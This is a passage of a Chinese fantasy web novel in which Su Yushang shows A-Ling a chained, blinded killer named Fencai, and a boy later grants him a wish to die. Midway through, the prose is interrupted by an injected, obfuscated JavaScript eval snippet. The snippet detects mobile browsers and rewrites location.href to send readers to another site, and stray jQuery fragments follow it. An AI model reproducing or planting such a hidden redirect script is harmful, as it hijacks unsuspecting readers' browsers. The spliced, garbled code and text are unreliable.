蘇與商示意走道儘頭,那裡有扇門,阿玲忽覺眼前場景熟悉,蘇與商打開門,主動走了進去,阿玲停頓片刻,還是跟著入內。
八角牢籠,鐵鏈洞穿四肢,雙目俱失。
這裡江彌曾經來過一次。
蘇與商說:“他是粉彩,幾乎屠儘池家的男人。”
粉彩比七年前看上去更淒慘,腳腕手腕仿佛跟鐵鏈長在一起,身體枯瘦,幾乎看不出正常的人樣。
阿玲:“他還活著?”
蘇與商:“殺了那麼多人,得活著贖罪啊。”
仿佛聽到這話,安靜的空間響起細微的鐵鏈碰撞聲。
蘇與商似乎隻是心血來潮帶阿玲走一趟,看完就走,她感慨般對阿玲說:“殺了太多人,精神也變得不正常,旁人都道是我將人抓回來的,實際是他主動撞上來。”
阿玲神色有些奇怪,蘇與商側眸看她:“好奇為什麼和你說這些?”
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943045|129389||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
阿玲:“我們才剛認識。”
蘇與商年紀比她大,說話行事間有種從容沉穩的氣質,這會兒笑得有些灑脫:“小友啊,有的人呢一眼就能看出未來是朋友還是敵人,我一看你就知道,我們肯定是友人。”
蘇與商問她:“你喝酒嗎?”
阿玲搖頭。
蘇與商對她不讚同道:“沒有酒人生多無趣,走,帶你喝酒去。”
阿玲:“但是我還要去尚署一趟。”
“尚署?急什麼,喝完酒我帶你去。”蘇與商不給她猶豫的機會,推著她往外走,沒有半點架子。
阿玲就這麼被她帶到了酒樓。
酒很快上來,蘇與商一臉愜意地仰頭喝酒,暢快地感歎:“還是得工作時偷喝兩杯才痛快啊。”
這個蘇家大小姐與她想象的不太一樣。
·
兩人走後不久,關押粉彩的門再次打開,進來的是個穿著粗布衣裳的少年,他看著隻剩一把骨頭的男子,歎了聲:“粉彩,已經夠了。”
躺在乾涸血漬裡的男人仿佛死去般,一動不動。
等了很久,粉彩才從黏膩黑發中探出頭,朝著聲音處望了望,但他兩眼空洞,什麼都看不見,許久未說話的嗓子極其艱難地問:“誰?”
“青花,”少年說,“我這個身份的名字叫阿廟。”
“青……花,青花……”粉彩有些激動,鎖鏈碰撞聲清脆,兩隻黑洞洞的眼睛仿佛要沁出血來,“青花……”
他的聲音隨著一次次出聲順暢起來。
“你看到了嗎?”阿廟說:“我們找到她了。”
接連的鎖鏈聲傳來,粉彩一次次想要爬起,又一次次跌倒,嵌入軀體的鎖鏈讓他的骨骼肌肉壞死,每一個動作伴隨著劇烈的痛楚。
阿廟沒有上前幫忙。
粉彩最後以一個詭異的姿勢半仰著頭,麵向阿廟的臉如同枯萎的老樹,卻透露出一點期盼來:“青花,我是不是,能死了?”
阿廟說:“是該結束了。”
安靜了很久,粉彩才從驟然的耳鳴中聽到這句話。
罪孽深重的惡人幡然醒悟,他用八年在此贖罪,又在臨終前因這話得到解脫。
終於,他在長久的麻木痛楚中哭出聲,血淚在麵頰蜿蜒流下,他嘶啞著斷斷續續問:“青花,死後能回家嗎?”
“我在……這些痛苦裡感受到了一絲救贖,死在我劍下的靈魂語囈在慢慢減少,我是不是,得到了一絲原諒?”
“他們會不會跟回去?”
“我想清清白白地回家。”
“青花,我想回家。”
·
說是陪蘇與商喝酒,其實是阿玲看著蘇與商喝。
蘇與商還勸她喝酒,阿玲不喝也不在意,直接把她的酒杯拿過來乾了,然後跟她說自己外出闖蕩時喝過哪些好酒,又在草原上如何馴服狼群雄鷹,爽朗又豪氣。
阿玲聽著她說走過的天南海北,不自覺被吸引進去。
太虛大陸很大,但她去過的地方很少,便是阿玲闖蕩時也隻是在幾座城之間遊蕩。
聽著蘇與商描述的星野空曠,天地獨我一人,那種豪邁而自然的感覺仿佛將她整個人托舉,輕鬆自由,讓她有了一絲向往。
忽然,她左眼傳來痛楚,所有念頭一瞬間收回,無形的沉重再次壓上心頭。
又有異世者死亡。